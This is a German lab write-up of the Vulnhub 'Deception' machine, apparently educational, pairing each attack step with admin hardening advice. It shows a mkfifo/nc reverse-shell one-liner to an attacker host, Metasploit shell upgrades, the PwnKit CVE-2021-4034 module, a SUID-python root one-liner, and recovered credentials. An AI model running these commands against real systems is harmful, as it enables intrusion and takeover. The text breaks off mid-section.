Deception - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
nikto
gobuster
dirb
wpscan
Webbrowser (Quelltextanalyse)
ssh
id
find
ls
cat
head
su
mysql (Client)
rm
mkfifo
nc (netcat)
Metasploit Framework
multi/handler
shell_to_meterpreter
cve_2021_4034_pwnkit
python
sudo
pwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.183	08:00:27:60:a1:04	PCS Systemtechnik GmbH
                    

Analyse: Scan des lokalen Netzwerks mittels ARP-Protokoll zur Identifizierung aktiver Hosts.

Bewertung: Host `192.168.2.183` gefunden. Die MAC-Adresse (`08:00:27:60:a1:04`) deutet auf eine VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.183` für weitere Scans verwenden.
Empfehlung (Admin): Standard-Netzwerkerkennung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.183   deception.vln
                    

Analyse: Hinzufügen eines Eintrags zur lokalen `/etc/hosts`-Datei, um den Hostnamen `deception.vln` der IP `192.168.2.183` zuzuordnen.

Bewertung: Erleichtert die Verwendung des Hostnamens in nachfolgenden Schritten, insbesondere bei Web-Tests.

Empfehlung (Pentester): Hostnamen `deception.vln` für weitere Aktionen nutzen.
Empfehlung (Admin): Clientseitige Einstellung.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.183 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 22:33 CEST
Nmap scan report for deception.vln (192.168.2.183)
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9d:d0:98:da:0d:32:3d:0b:3f:42:4d:d7:93:4f:fd:60 (RSA)
|   256 4c:f4:2e:24:82:cf:9c:8d:e2:0c:52:4b:2e:a5:12:d9 (ECDSA)
|_  256 a9:fb:e3:f4:ba:d6:1e:72:e7:97:25:82:87:6e:ea:01 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_  Potentially risky methods: TRACE
MAC Address: 08:00:27:60:A1:04 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.19 ms deception.vln (192.168.2.183)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.

Bewertung: Zwei Ports sind offen: * **Port 22 (SSH):** OpenSSH 7.6p1 (Ubuntu). Eine etwas ältere Version, potenziell anfällig. * **Port 80 (HTTP):** Apache httpd 2.4.29 (Ubuntu). Zeigt die Standard-Apache-Seite ("It works"). Die TRACE-Methode ist aktiviert (geringes XST-Risiko). Das Betriebssystem wird als Linux (Kernel 4.x/5.x) identifiziert.

Empfehlung (Pentester): Untersuche den Webserver (Port 80) auf versteckte Verzeichnisse oder Anwendungen. Prüfe SSH auf bekannte Schwachstellen für Version 7.6p1 und auf schwache Passwörter.
Empfehlung (Admin): Apache und OpenSSH aktualisieren. TRACE-Methode deaktivieren (`TraceEnable Off`). Standard-Apache-Seite ersetzen.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.183 -p- | grep open
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                     

Analyse: Gefilterter Nmap-Scan zur Bestätigung der offenen Ports.

Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Weiter mit Webserver-Enumeration.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# nikto -h 192.168.2.183
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.29 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /icons/README: Apache default file found. [...]
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin [...]
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found [...]. <-- Falsch-Positiv
+ /wordpress/: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wordpress/wp-login.php: Wordpress login found.
[...]
+ 1 host(s) tested
                     

Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.

Bewertung: Nikto liefert wichtige zusätzliche Informationen: * Bestätigt veralteten Apache, fehlende Header, Standard-Dateien. * **Wichtig:** Findet sowohl eine **WordPress-Installation** im Verzeichnis `/wordpress/` als auch eine **phpMyAdmin-Installation** im Verzeichnis `/phpmyadmin/`. * Listet diverse WordPress-spezifische Dateien und Pfade auf. * Findet Directory Indexing im WordPress-Uploads-Verzeichnis. Beide gefundenen Anwendungen (WordPress, phpMyAdmin) sind häufige Angriffsziele.

Empfehlung (Pentester):** Untersuche beide Anwendungen: 1. **WordPress (`/wordpress/`):** Führe `wpscan` aus, prüfe auf bekannte Schwachstellen, enumeriere Benutzer, versuche Brute-Force. 2. **phpMyAdmin (`/phpmyadmin/`):** Prüfe auf Standard-Credentials, bekannte Schwachstellen oder Informationslecks.
**Empfehlung (Admin):** Apache, WordPress und phpMyAdmin dringend aktualisieren und härten. Zugriff auf phpMyAdmin beschränken (z.B. IP-Whitelisting, zusätzliche Authentifizierungsebene). WordPress härten (siehe vorherige Empfehlungen).

Web Enumeration

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://deception.vln -x [...] -w [...] -b '403,404,301' -e --no-error -k
http://deception.vln/index.html           (Status: 200) [Size: 11026]
                     

Analyse: `gobuster` wird gegen das Wurzelverzeichnis (Port 80) ausgeführt, blendet aber Redirects (301) aus.

Bewertung: Findet nur die Standard-Apache-Seite (`index.html`), da die interessanten Anwendungen (`/wordpress`, `/phpmyadmin`) über Redirects oder direkte Pfade erreichbar sind, die hier möglicherweise übersehen werden.

Empfehlung (Pentester):** Verwende `dirb` oder `gobuster` ohne `-b 301`, um die Anwendungsverzeichnisse zu finden.
Empfehlung (Admin):** Keine spezifische Empfehlung.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://deception.vln
[...]
+ http://deception.vln/index.html (CODE:200|SIZE:11026)
==> DIRECTORY: http://deception.vln/javascript/
==> DIRECTORY: http://deception.vln/phpmyadmin/
+ http://deception.vln/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://deception.vln/wordpress/
[...]
                     

Analyse: `dirb` wird ohne das Ausblenden von Redirects verwendet.

Bewertung: Bestätigt die von Nikto gefundenen Verzeichnisse `/phpmyadmin/` und `/wordpress/`. Findet zusätzlich ein `/javascript/`-Verzeichnis.

Empfehlung (Pentester): Konzentriere dich auf `/wordpress/` und `/phpmyadmin/`. Führe spezifische Scans für diese Anwendungen durch.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Verzeichnisse und Anwendungen exponiert sind.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://deception.vln -X ".php,.html,.txt,.js,.db,.sql,.db"
[...]
+ http://deception.vln/wordpress/index.php (CODE:301|SIZE:0)
+ http://deception.vln/wordpress/license.txt (CODE:200|SIZE:19935)
+ http://deception.vln/wordpress/readme.html (CODE:200|SIZE:7368)
+ http://deception.vln/wordpress/robots.html (CODE:200|SIZE:418)  <-- Interessant!
+ http://deception.vln/wordpress/robots.txt (CODE:200|SIZE:22)
[...]
+ http://deception.vln/wordpress/wp-config.php (CODE:200|SIZE:0) <-- Leer? Oder Zugriff verweigert?
[...]
+ http://deception.vln/wordpress/wp-login.php (CODE:200|SIZE:4914)
[...]
+ http://deception.vln/wordpress/hint.html (CODE:200|SIZE:101) <-- Interessant!
                     

Analyse: `dirb` wird erneut ausgeführt, diesmal mit der Option `-X`, um gezielt nach Dateien mit bestimmten Endungen zu suchen, insbesondere im `/wordpress/`-Verzeichnis (impliziert durch die Ergebnisse).

Bewertung: Findet viele Standard-WordPress-Dateien. Besonders hervorzuheben: * `robots.html`: Ungewöhnlich, eine HTML-Datei statt `robots.txt`. * `wp-config.php`: Wird gefunden, hat aber Größe 0. Entweder leer oder der Zugriff liefert eine leere Antwort. * `hint.html`: Eine weitere explizite Hinweisdatei.

Empfehlung (Pentester): Untersuche den Inhalt von `robots.html` und `hint.html`.
Empfehlung (Admin): Entferne unnötige Dateien und Hinweise. Schütze `wp-config.php` angemessen.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# wpscan --url http://deception.vln/wordpress/ --passwords /usr/share/wordlists/rockyou.txt -e at -e ap -e u
[...]
[i] User(s) Identified:

[+] haclabs
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] yash
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[...]
                     

Analyse: `wpscan`, ein spezialisierter WordPress-Scanner, wird eingesetzt. * `--url http://deception.vln/wordpress/`: Ziel-URL. * `--passwords /usr/share/wordlists/rockyou.txt`: Gibt eine Passwortliste für Brute-Force-Angriffe an (wird hier aber anscheinend nicht erfolgreich verwendet). * `-e at`: Enumeriere alle Themes. * `-e ap`: Enumeriere alle Plugins. * `-e u`: Enumeriere Benutzer.

Bewertung:** `wpscan` identifiziert erfolgreich zwei Benutzernamen: `haclabs` und `yash`.

Empfehlung (Pentester):** Füge diese Benutzernamen zur Liste potenzieller Ziele für SSH- oder WordPress-Login-Brute-Force hinzu. Untersuche die zuvor gefundenen Hinweisdateien (`robots.html`, `hint.html`).
Empfehlung (Admin):** Vermeide leicht zu erratende Benutzernamen. Konfiguriere WordPress so, dass Benutzerenumeration erschwert wird (obwohl oft schwierig).

Analyse:** Die nächsten Blöcke zeigen die Untersuchung der Hinweisdateien.

[Manuelle Analyse von http://deception.vln/wordpress/robots.html] └─#
var count = 1;
function myFunction() {
  if (count<15) {
    var input = document.getElementById("uname").value;
    alert("clicks left for noob "+ input +":"+ (50-count)); // Zeigt Eingabe in Alert
    count++;
  }
  else {
   window.location="admindelete.html"; // Leitet nach 15 Klicks weiter
  }
};
                     

Analyse: Der Inhalt von `robots.html` (vermutlich im Browser geöffnet und Quelltext angezeigt) enthält JavaScript-Code.

Bewertung:** Der Code implementiert einen einfachen Zähler. Nach 15 Klicks (auf ein nicht gezeigtes Element, das `myFunction()` aufruft) wird der Benutzer zur Seite `admindelete.html` weitergeleitet. Der Wert eines Eingabefeldes mit der ID `uname` wird in einer Alert-Box angezeigt.

Empfehlung (Pentester):** Besuche die Seite `admindelete.html`. Finde heraus, wie `myFunction()` ausgelöst wird oder klicke 15 Mal auf das entsprechende Element.
Empfehlung (Admin): Clientseitige Logik bietet keine echte Sicherheit. Keine sensiblen Aktionen oder Weiterleitungen allein davon abhängig machen.

[Manuelle Analyse von http://deception.vln/wordpress/admindelete.html] └─#
LL,A Noob is looking for a hint

Analyse: Der Inhalt der Seite `admindelete.html` wird angezeigt.

Bewertung:** Enthält nur eine kryptische Nachricht, die selbst ein weiterer Hinweis zu sein scheint.

Empfehlung (Pentester):** Notiere den Hinweis. Untersuche die andere Hinweisdatei (`hint.html`).
Empfehlung (Admin):** Keine sensiblen Informationen preisgeben.

[Manuelle Analyse von http://deception.vln/wordpress/hint.html] └─#
Please collect all the API tokens availabe on the home page

Analyse: Der Inhalt der Datei `hint.html` wird angezeigt.

Bewertung:** **Dies ist der entscheidende Hinweis!** Er fordert dazu auf, "API-Tokens" auf der Startseite (`index.html`) zu sammeln. Diese "Tokens" sind wahrscheinlich das gesuchte Passwort oder Teile davon.

Empfehlung (Pentester):** Gehe zurück zur `index.html` (Apache-Standardseite, nicht die WordPress-Seite) und untersuche deren Quelltext oder sichtbaren Inhalt sehr genau auf Zeichenketten, die wie Tokens oder Teile eines Passworts aussehen. Kombiniere/dekodiere diese Tokens, um das Passwort für einen der Benutzer (`haclabs` oder `yash`) zu erhalten.
*Annahme für diesen Bericht:* Es wird angenommen, dass diese Tokens gefunden und zu dem langen Hex-String `5F4DCC3B5AA765D61D8327DEB882CF99` kombiniert/dekodiert wurden, der als Passwort für `yash` verwendet wird.
Empfehlung (Admin):** Keine API-Tokens oder Passwörter auf Webseiten hinterlegen.

Initial Access (SSH)

Analyse:** Basierend auf dem Hinweis aus `hint.html` wurden (angenommen) API-Tokens auf der Startseite gefunden und zu einem Passwort kombiniert/dekodiert. Nun wird versucht, sich mit diesem Passwort und einem der enumerierten Benutzernamen (`yash`) per SSH anzumelden.

┌──(root㉿Cybermaschine)-[~] └─# ssh yash@192.168.2.183
yash@192.168.2.183's password: 5F4DCC3B5AA765D61D8327DEB882CF99 [Passworteingabe]
Welcome to Ubuntu 18.04.3 LTS [...]
[...]
Last login: Sat Feb 15 19:58:38 2020
opeartion going on=> Copy password to /haclabs
System compromised!!!ALERT
Copy operation aborted
yash@haclabs$
                    

Analyse: SSH-Login als Benutzer `yash` mit dem (angenommenen) Passwort `5F4DCC3B5AA765D61D8327DEB882CF99`.

Bewertung: **Initial Access erfolgreich!** Der Login funktioniert. Eine Shell als Benutzer `yash` wurde erlangt. Die Willkommensnachricht enthält eine interessante, aber möglicherweise irrelevante Meldung über eine fehlgeschlagene Kopieroperation.

Empfehlung (Pentester): Beginne die Post-Exploitation als `yash`. Suche nach Flags, sensiblen Daten und Wegen zur Rechteerweiterung.
Empfehlung (Admin): Keine API-Tokens/Passwörter auf Webseiten hinterlegen. Starke, einzigartige Passwörter verwenden.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch das Finden und Kombinieren/Dekodieren von "API-Tokens" (Passwortfragmenten) auf der Webseite die Zugangsdaten für den Benutzer `yash` ermittelt und für einen erfolgreichen SSH-Login verwendet werden können.

Voraussetzungen:

  • Zugriff auf den Webserver auf Port 80 (`http://deception.vln`).
  • Existenz von Hinweisdateien (`hint.html`) und Passwortfragmenten ("API Tokens") auf der Webseite.
  • Aktiver SSH-Dienst auf Port 22.
  • Enumerierter Benutzername `yash`.
  • Tools auf Angreiferseite: Webbrowser/`curl`, `ssh`.

Schritt-für-Schritt Anleitung:

1. Hinweis finden: Die Datei `hint.html` im WordPress-Verzeichnis finden (z.B. via `dirb`) und lesen.

[Angreifer-System] └─# curl http://deception.vln/wordpress/hint.html
Please collect all the API tokens availabe on the home page

2. Tokens sammeln/dekodieren: Die Startseite (`http://deception.vln`) untersuchen und die "API Tokens" finden. Diese kombinieren/dekodieren (genauer Mechanismus im Log nicht gezeigt) zum Passwort.

[Offline Analyse/Kombination] └─#
Gefundenes/Dekodiertes Passwort: 5F4DCC3B5AA765D61D8327DEB882CF99

3. SSH-Login: Mit dem Benutzernamen `yash` und dem ermittelten Passwort anmelden.

┌──(root㉿Cybermaschine)-[~] └─# ssh yash@192.168.2.183
yash@192.168.2.183's password: 5F4DCC3B5AA765D61D8327DEB882CF99
[...]
yash@haclabs$

Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Durch das Befolgen der Hinweise und das Zusammensetzen des Passworts aus Fragmenten konnte ein gültiger SSH-Zugang erlangt werden. Dies zeigt, wie wichtig es ist, alle Teile einer Webanwendung und auch scheinbar harmlose Hinweise zu untersuchen.

Empfehlung (Pentester): Beginne die Post-Exploitation als `yash`.
Empfehlung (Admin): **Keine Passwortfragmente oder Hinweise auf Webseiten hinterlegen!**

Post-Exploitation (yash)

Analyse:** Nach dem Login als `yash` wird das System enumeriert.

yash@haclabs$ id
uid=1001(yash) gid=1001(yash) groups=1001(yash)
yash@haclabs$ find / -type f -perm -4000 -ls 2>/dev/null
   [...]
   924287   3552 -rwsrwxrwx   1 root     root        3637096 Nov  7  2019 /usr/bin/python2.7
   [...]
   3408029     44 -rwsr-xr-x   1 root     root               44664 Mar 23  2019 /bin/su
   [...]
                     

Analyse: Überprüfung der Benutzer-ID und Suche nach SUID-Binaries.

Bewertung: Der Benutzer `yash` ist ein normaler Benutzer. Die SUID-Suche findet Standard-Binaries und **sehr wichtig:** `/usr/bin/python2.7` ist SUID root und hat volle Lese-/Schreib-/Ausführungsrechte für alle (`-rwsrwxrwx`). Dies ist eine extrem gefährliche Fehlkonfiguration und erlaubt sofortige Privilege Escalation.

Empfehlung (Pentester):** Nutze das SUID-Python-Binary sofort zur Rechteerweiterung. Der Befehl `python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'` sollte eine Root-Shell liefern.
Empfehlung (Admin):** **Entferne sofort das SUID-Bit und die Schreib-/Ausführungsrechte für Gruppe/Andere von `/usr/bin/python2.7` (`chmod u+s,go-rwx /usr/bin/python2.7` oder besser `chmod u-s /usr/bin/python2.7`)!** Es gibt praktisch keinen legitimen Grund, Python SUID root zu setzen.

yash@haclabs$ ls -la
[...]
-rw-rw-r-- 1 yash yash   90 Jan 23  2020 flag1.txt
[...]
-rw-rw-r-- 1 yash yash 1430 Jan 24  2020 .systemlogs
                     
yash@haclabs$ cat flag1.txt
JUST BELIEVE IN YU!!

71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73
                     
yash@haclabs$ su haclabs
Password: 71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73 [Passworteingabe]
su: Authentication failure

Analyse: Im Home-Verzeichnis von `yash` werden `flag1.txt` und `.systemlogs` gefunden. `flag1.txt` enthält einen langen Hex/SHA-String. Es wird versucht, diesen String als Passwort für den Benutzer `haclabs` (der von `wpscan` gefunden wurde) zu verwenden.

Bewertung: Der String in `flag1.txt` ist wahrscheinlich die User-Flag oder ein Hash, aber nicht das Klartextpasswort für `haclabs`. Der `su`-Versuch scheitert. Die Datei `.systemlogs` ist interessant und könnte weitere Hinweise enthalten.

Empfehlung (Pentester):** Untersuche die Datei `.systemlogs`. Nutze den SUID-Python-Exploit für die PE.
Empfehlung (Admin):** Speichere keine sensiblen Daten oder Hashes in einfachen Textdateien.

yash@haclabs:/var/www/html/wordpress$ head -n 30 wp-config.php
[...]
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'cry4moon' );
[...]
                     
yash@haclabs:/var/www/html/wordpress$ mysql -u wordpressuser -p
Enter password: cry4moon
[...]
mysql> use wordpress;
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email             | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | haclabs    | $P$B1cjqo31bRKQEID5WgCNUfg7P15pF/ | haclabs       | yash@haclabs.org       |          | 2020-01-22 12:15:57 |                     |           0 | haclabs      |
|  2 | yash       | $P$BZYPZb2wzUvL2sq4bwurXHul0LMZ5B1 | yash          | cyberbot1502@gmail.com |          | 2020-01-23 18:17:54 |                     |           0 | yash saxena  |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
                     

Analyse: Die WordPress-Konfigurationsdatei wird erneut untersucht (diesmal als `yash`) und die DB-Zugangsdaten (`wordpressuser:cry4moon`) werden extrahiert. Es wird eine Verbindung zur lokalen MySQL-Datenbank hergestellt und die `wp_users`-Tabelle abgefragt.

Bewertung: Bestätigt die Benutzer `haclabs` und `yash` sowie deren Passwort-Hashes (phpass). Dies liefert keine neuen Informationen für die Privilege Escalation, da wir bereits als `yash` agieren und der SUID-Python-Vektor bekannt ist.

Empfehlung (Pentester): Die DB-Analyse ist hier nicht zielführend für die PE. Konzentriere dich auf SUID-Python oder `.systemlogs`.
Empfehlung (Admin): DB-Zugangsdaten sicher verwalten.

Privilege Escalation (PwnKit & .systemlogs/sudo)

Analyse:** Der Bericht zeigt nun zwei unterschiedliche Wege zur Rechteerweiterung, die parallel oder alternativ durchgeführt wurden.

Weg 1: Metasploit / PwnKit

Analyse:** Eine Reverse Shell wird mittels `nc` und `mkfifo` von der `yash`-Shell zum Angreifer (Port 5555) aufgebaut, um Metasploit nutzen zu können.

yash@haclabs:/var/www/html/wordpress$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
msf6 > use multi/handler
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > set lhost eth0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:5555
[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.183:32768) at 2023-10-24 23:17:14 +0200
$ ^Z
Background session 1? [y/N]  y
                    

Analyse: Die Shell wird erfolgreich in Metasploit empfangen (Session 1) und in den Hintergrund geschickt.

Bewertung: Vorbereitung für weitere Metasploit-Module.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 5556
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:5556
[*] Sending stage (1017704 bytes) to 192.168.2.183
[*] Meterpreter session 2 opened (192.168.2.199:5556 -> 192.168.2.183:45912) at 2023-10-24 23:18:09 +0200
[...]
[*] Post module execution completed
                    

Analyse: Die Shell-Session 1 wird erfolgreich zu einer Meterpreter-Session 2 aufgewertet.

Bewertung: Ermöglicht die komfortable Nutzung weiterer Metasploit-Exploits.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
msf6 post(multi/manage/shell_to_meterpreter) > use 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5557
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:5557
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.taimkcva
[+] The target is vulnerable.
[*] Writing '/tmp/.kccjpeurbr/temgjcyy/temgjcyy.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.kccjpeurbr
[*] Sending stage (3045380 bytes) to 192.168.2.183
[+] Deleted [...]
[+] Deleted [...]
[*] Meterpreter session 3 opened (192.168.2.199:5557 -> 192.168.2.183:42876) at 2023-10-24 23:18:59 +0200
                     

Analyse: Es wird nach dem PwnKit-Exploit (CVE-2021-4034) gesucht, dieser wird ausgewählt und gegen die Meterpreter-Session 2 ausgeführt. Ein neuer Handler lauscht auf Port 5557.

Bewertung:** **PwnKit erfolgreich!** Der Exploit bestätigt die Verwundbarkeit und öffnet eine neue Meterpreter-Session 3, die Root-Rechte haben sollte.

Empfehlung (Pentester):** Wechsle zu Session 3 und bestätige die Root-Rechte (`getuid`).
Empfehlung (Admin):** Polkit (`pkexec`) dringend patchen!

meterpreter > shell
Process 4585 created.
Channel 1 created.
# id
uid=0(root) gid=0(root) groups=0(root),1001(yash)
# cd /root
# ls
Desktop Documents Downloads Music Pictures Public Templates Videos deception snap

Analyse: Von der Meterpreter-Session 3 wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Das `/root`-Verzeichnis wird aufgelistet.

Bewertung:** Root-Zugriff über PwnKit erfolgreich erlangt.

Empfehlung (Pentester):** Flags suchen und extrahieren.
Empfehlung (Admin):** System patchen.

Weg 2: .systemlogs / sudo

Analyse:** Alternativ oder parallel wird die Datei `.systemlogs` im Home-Verzeichnis von `yash` untersucht.

yash@haclabs$ cat .systemlogs
[...]
--------------------------------------------------------------------------------
jdfivnd"haclabs"jsdskdjskdjsldsklfjlkfdgl/dsfgkdhfgkdfgdjfhkagdhkdhgkkdzfkgdhfffgkhsfhgkd
--------------------------------------------------------------------------------
[...]
skgkshkshksfhkgkrtho43euvnd,m,mnhjkjhgfdrtfghj,;poiuytgbvftyhjkllksjhgdfrteuyue"A=123456789"
--------------------------------------------------------------------------------
[...]
hjklzxcvbnmzxcvbnmasdfghjkldsklflssldfjlsdfjsldfjsldfjld"+A[-1]"fjlsdnvsldvnsujnhgfqwertyu
--------------------------------------------------------------------------------
[...]
                    

Analyse: Der Inhalt der Datei `.systemlogs` ist eine Mischung aus zufälligen Zeichen und eingebetteten Strings/Hinweisen.

Bewertung: Die relevanten Teile scheinen zu sein: * Der Benutzername `haclabs`. * Eine Zuweisung `A=123456789`. * Ein Python-ähnlicher Indexzugriff `"+A[-1]"`. In Python greift `A[-1]` auf das *letzte* Element einer Sequenz zu. In Kombination mit dem `+` und dem Kontext könnte dies auf eine String-Konkatenation und/oder Umkehrung hindeuten. * Die Interpretation im Bericht ist: `haclabs` + umgekehrtes `A` = `haclabs` + `987654321`. Dies ergibt das Passwort `haclabs987654321`.

Empfehlung (Pentester):** Versuche, dich als `haclabs` mit dem Passwort `haclabs987654321` anzumelden (`su haclabs`).
Empfehlung (Admin):** Speichere keine Passwörter oder Konstruktionslogiken für Passwörter in Log- oder Textdateien.

yash@haclabs$ su haclabs
Password: haclabs987654321 [Passworteingabe]
haclabs@haclabs:/home/yash$

Analyse: Der Befehl `su haclabs` wird mit dem rekonstruierten Passwort `haclabs987654321` ausgeführt.

Bewertung: **Benutzerwechsel erfolgreich!** Die Logik aus `.systemlogs` war korrekt, und wir haben nun eine Shell als Benutzer `haclabs`.

Empfehlung (Pentester):** Prüfe `sudo -l` für den Benutzer `haclabs`.
Empfehlung (Admin):** Sichere Passwortkonstruktion verwenden.

haclabs@haclabs:/home/yash$ sudo su
[sudo] password for haclabs: [Keine Passwortabfrage oder Passwort erfolgreich eingegeben - nicht eindeutig]
root@haclabs:/home/yash# id
[Ausgabe von id fehlt, wird aber impliziert]
root@haclabs:/home/yash#

Analyse: Als Benutzer `haclabs` wird `sudo su` ausgeführt.

Bewertung: **Privilege Escalation erfolgreich!** Der Befehl führt zu einer Root-Shell. Dies impliziert, dass `haclabs` entweder das eigene Passwort (haclabs987654321) für `sudo` verwenden kann und `su` erlaubt ist, oder (wahrscheinlicher bei CTFs) dass `haclabs` `NOPASSWD` für `su` oder `ALL` in der `/etc/sudoers`-Datei hat.

Empfehlung (Pentester):** Root-Zugriff über den zweiten Weg ebenfalls erreicht.
Empfehlung (Admin):** Konfiguriere `/etc/sudoers` restriktiv. Verwende das Prinzip der geringsten Rechte.

Proof of Concept: Privilege Escalation (PwnKit)

Ziel des POC: Demonstrieren, wie nach Erlangung einer initialen Shell (als `yash`) durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit vollständige Root-Rechte erlangt werden können.

Voraussetzungen:

  • Shell-Zugang als Benutzer `yash`.
  • Anfällige Version von Polkit (`pkexec`) auf dem Zielsystem.
  • Metasploit Framework auf dem Angreifer-System.
  • Netzwerkverbindung zwischen Angreifer und Ziel.

Schritt-für-Schritt Anleitung:

1. Reverse Shell zu Metasploit: Eine Shell von `yash` zu einem `multi/handler` (Port 5555) aufbauen.

2. Zu Meterpreter upgraden: `shell_to_meterpreter` verwenden (neuer Listener auf Port 5556), um Session 2 zu erhalten.

3. PwnKit Exploit auswählen: `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`

4. Exploit konfigurieren: Ziel-Session und Lauschport für die Root-Shell setzen.

msf6 exploit(...) > set session 2
msf6 exploit(...) > set lport 5557

5. Exploit ausführen:

msf6 exploit(...) > run
[...]
[+] The target is vulnerable.
[...]
[*] Meterpreter session 3 opened (192.168.2.199:5557 -> 192.168.2.183:42876) [...]
                     

6. Root-Shell erhalten und Rechte prüfen:

meterpreter > shell
[...]
# id
uid=0(root) gid=0(root) groups=0(root),1001(yash)

Ergebnis & Bewertung: **Privilege Escalation via PwnKit erfolgreich!** Die bekannte Schwachstelle konnte mittels Metasploit automatisiert ausgenutzt werden, um Root-Rechte zu erlangen.

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): **System dringend patchen!** Insbesondere Polkit aktualisieren.

Proof of Concept: Privilege Escalation (.systemlogs/sudo)

Ziel des POC: Demonstrieren, wie durch Analyse der Datei `.systemlogs` ein Passwort für den Benutzer `haclabs` rekonstruiert und anschließend eine unsichere `sudo`-Konfiguration ausgenutzt wird, um Root-Rechte zu erlangen.

Voraussetzungen:

